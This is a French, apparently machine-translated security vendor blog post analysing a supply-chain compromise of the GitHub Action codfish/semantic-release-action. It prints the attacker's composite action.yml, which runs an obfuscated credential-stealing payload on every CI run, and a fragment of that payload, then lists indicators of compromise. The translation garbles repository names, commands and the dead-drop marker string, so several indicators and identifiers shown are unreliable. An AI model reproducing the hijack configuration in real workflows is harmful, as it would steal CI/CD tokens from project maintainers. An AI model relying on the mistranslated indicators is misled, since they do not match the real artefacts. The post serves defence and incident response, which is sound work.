Aikido

Une action GitHub compromise, « codfish/semantic-release-action », vole des secrets liés à l'intégration continue et au déploiement continu (CI/CD)

Écrit par
Hunter Schwartz

Le 24 juin 2026, le morue/action-de-publication-sémantique GitHub Action a été compromis à la suite d'une attaque par « commit » usurpé. Un pirate a forcé la publication de deux « commits » malveillants dans le dépôt et a redirigé seize balises vers ceux-ci, y compris les balises de version majeure flottantes. v2, v3, v4, et v5. Tout workflow faisant référence à l'action via l'une de ces balises récupérera et exécutera le code de l'attaquant lors de sa prochaine exécution CI.

Cette action est la méthode standard pour intégrer Semantic-Release dans GitHub Actions depuis 2019 et compte plus de 100 étoiles sur GitHub. Les workflows qui l'utilisent pour automatiser les mises à jour comportent presque toujours un GITHUB_TOKEN et souvent un NPM_TOKEN avec un accès en publication, ce qui correspond exactement au type d'accès qu'un pirate cherche à obtenir.

Comment les balises ont été détournées

Les balises Git ne sont pas protégées par défaut. Toute personne disposant d'un accès en écriture à un dépôt peut forcer une balise à pointer vers un autre commit, et GitHub Actions résout une référence de balise au moment où un workflow s'exécute. Le déplacement rétroactif d'une balise modifie toutes les exécutions futures qui y font référence, sans que la personne ayant créé le workflow n'en soit informée.

L'attaquant s'en est servi contre morue/action-de-publication-sémantique en deux étapes. La première modification malveillante a récupéré quinze balises : v2.2.1, toute la gamme v3 (v3, v3.0.0 par v3.5.0), toute la gamme v4 (v4, v4.0.0, v4.0.1), ainsi que l'ensemble de la gamme v5 (v5, v5.0.0). Un deuxième commit est un descendant direct du premier et a repris le v2 balise. Ces deux commits contiennent un code identique au niveau des octets index.js données utiles, confirmées par hachage.

Aucun de ces commits n'est un ancêtre du dépôt principal branche. Ils y ont été greffés en tant qu’orphelins, puis déguisés pour ne pas éveiller les soupçons, en un clin d’œil git log aperçu. Le premier commit reprend l'identité de l'auteur, la date et le message d'un vrai commit datant du 9 novembre 2023 :

commit 5792aba0e2180b9b80b77644370a6889d5817456
Author: Chris O'Donnell <1666298+codfish@users.noreply.github.com>
Date:   Thu Nov 9 16:49:48 2023 +0000

    Merge pull request #195 from codfish/force-install

Ces métadonnées sont authentiques ; elles proviennent d'une merge légitime merge l'historique du projet. Cependant, le contenu du fichier a été remplacé par une charge utile malveillante.

Qu'est-ce qui a changé en action.yml

morue/action-de-publication-sémantique fonctionnait à l'origine comme une action basée sur Docker, créant un conteneur à partir du dépôt Dockerfile et en invoquant entrypoint.js. Les commits malveillants remplacent action.yml en utilisant plutôt une action composite :

runs:
  using: composite
  steps:
    - uses: "codfish/semantic-release-action@8f9a58f2acdc190c356f79159b5de2548cdb63cd"
      with:
        branches: "${{ inputs.branches }}"
        # ...remaining inputs passed through unchanged
    - uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6"
      if: always()
    - name: Cleanup Action
      if: always()
      shell: bash
      run: bun run $GITHUB_ACTION_PATH/index.js

La première étape fait toujours appel à la valeur réelle et actuelle morue/action-de-publication-sémantique, associé à un commit propre, afin que l'action continue de fonctionner normalement et que l'exécution du workflow semble réussie. Les deux étapes suivantes s'exécutent avec si : always(), de sorte qu'elles se déclenchent que l'étape légitime aboutisse, échoue ou soit ignorée. La deuxième étape récupère four-sh/configuration-bun, une action réelle effectuée par un tiers sans aucun lien avec le reste, dans le seul but d'intégrer le runtime Bun au serveur d'intégration continue. La troisième étape consiste à exécuter la charge utile, index.js, avec course aux petits pains.

La version originale du référentiel Dockerfile, entrypoint.js, et entrypoint.spec.js sont toujours présents dans l'arborescence à ce commit. Ils ne sont tout simplement plus jamais appelés, puisqu'une action composite les ignore complètement. Laisser les anciens fichiers en place permet de minimiser les différences dans le diff. Quiconque parcourt rapidement la liste des fichiers voit le contenu habituel de l'action et ne remarque rien qui manque de manière évidente.

La charge utile

Le contenu injecté index.js Il s'agit de 781 580 octets de code JavaScript obfusqué, structuré sous la forme d'un tableau de chaînes de caractères contenant des noms de variables codés en hexadécimal, ce qui correspond au format de sortie typique d'un obfuscateur JavaScript commercial :

const _0x307419=_0x42e6;(function(_0xb5d033,_0x1d1124){const _0x23f080={_0x15a6a0:0xf9,_0x3d6efe:0x73a,...

La chaîne est enfouie dans le corps obscurci le-beau-temps-doux-et-agréable, qui correspond presque à Les magnifiques sables du temps et ne diffère que par une seule lettre transposée. Cette chaîne identifie l’un des canaux de transmission clandestins utilisés par la boîte à outils de vol d’identifiants « Miasma », dont les détails ont été rendus publics le 10 juin 2026. La conception de Miasma évite le recours à un serveur C2 traditionnel. Au lieu de contacter l’infrastructure de l’attaquant, le logiciel malveillant recherche périodiquement cette chaîne de caractères dans l’API publique de recherche de commits de GitHub. Lorsqu’il trouve un commit correspondant, il traite la charge utile jointe comme une commande signée et l’exécute via eval(). Cela permet à l'opérateur de déployer à tout moment une nouvelle fonctionnalité d'exécution de code à distance sur chaque instance infectée, sans avoir à mettre en place ni à gérer sa propre infrastructure, et sans générer de trafic réseau sortant susceptible d'être détecté par les systèmes de surveillance du trafic sortant.

Lien avec la campagne « Miasma »

La même chose Les magnifiques sables du temps Le marqueur apparaît déjà dans Activité de la campagne « Miasma » contre les paquets npm situés sous le répertoire @redhat-cloud-services portée, ainsi que dans plusieurs autres dépôts GitHub compromis liés à la même fuite de boîte à outils. Lorsqu’un framework de vol d’identifiants comme celui-ci est rendu public, il a tendance à se propager rapidement, car n’importe quel opérateur peut l’utiliser sans avoir à développer ses propres outils. morue/action-de-publication-sémantique Cela correspond à ce schéma : il s'agit d'un autre cas où la même boîte à outils est intégrée à un nouveau dépôt.

Comment Aikido détecte cela

Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore Aikido , vous pouvez créer un compte et connecter vos dépôts. Notre protection contre les logiciels malveillants est incluse dans la formule gratuite, sans carte bancaire requise.

Pour une couverture plus étendue au sein de toute votre équipe, la solution « Device Protection » Aikido vous offre une visibilité et un contrôle sur les logiciels installés sur les appareils de vos collaborateurs. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins IDE et les dépendances de compilation, le tout depuis une seule et même interface. Bloquez les logiciels malveillants avant même qu’ils ne s’installent.

Pour vous protéger à l'avenir, pensez à utiliser Aikido Chain (open source). Safe Chain s'intègre à votre flux de travail existant : il intercepte les commandes npm, npx, yarn, pnpm et pnpx, puis vérifie les paquets à l'aide Aikido avant leur installation.

Indicateurs de compromission

Commits malveillants

  • 5792aba0e2180b9b80b77644370a6889d5817456 (balises v2.2.1, v3, v3.0.0 par v3.5.0, v4, v4.0.0, v4.0.1, v5, v5.0.0)
  • bcb6b1d409144318e8fad2171d6fe06d02299d1a (balise v2)

Hachage de la charge utile

index.js (deux commits malveillants) : sha256 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015

Autres indicateurs

  • Chaîne de repère pour la boîte morte : le-beau-temps-doux-et-agréable
  • Environnement d'exécution de Bun chargé via oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6

Balises concernées

  • codfish/semantic-release-action@v2
  • codfish/semantic-release-action@v2.2.1
  • codfish/semantic-release-action@v3 par v3.5.0
  • codfish/semantic-release-action@v4, v4.0.0, v4.0.1
  • morue/action-de-publication-sémantique@v5, v5.0.0

Propreté confirmée

  • codfish/semantic-release-action@v1.0.0 par v1.10.0
  • codfish/semantic-release-action@v2.0.0
Partager :

https://www.aikido.dev/blog/compromised-github-action-codfish-steals-secrets

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.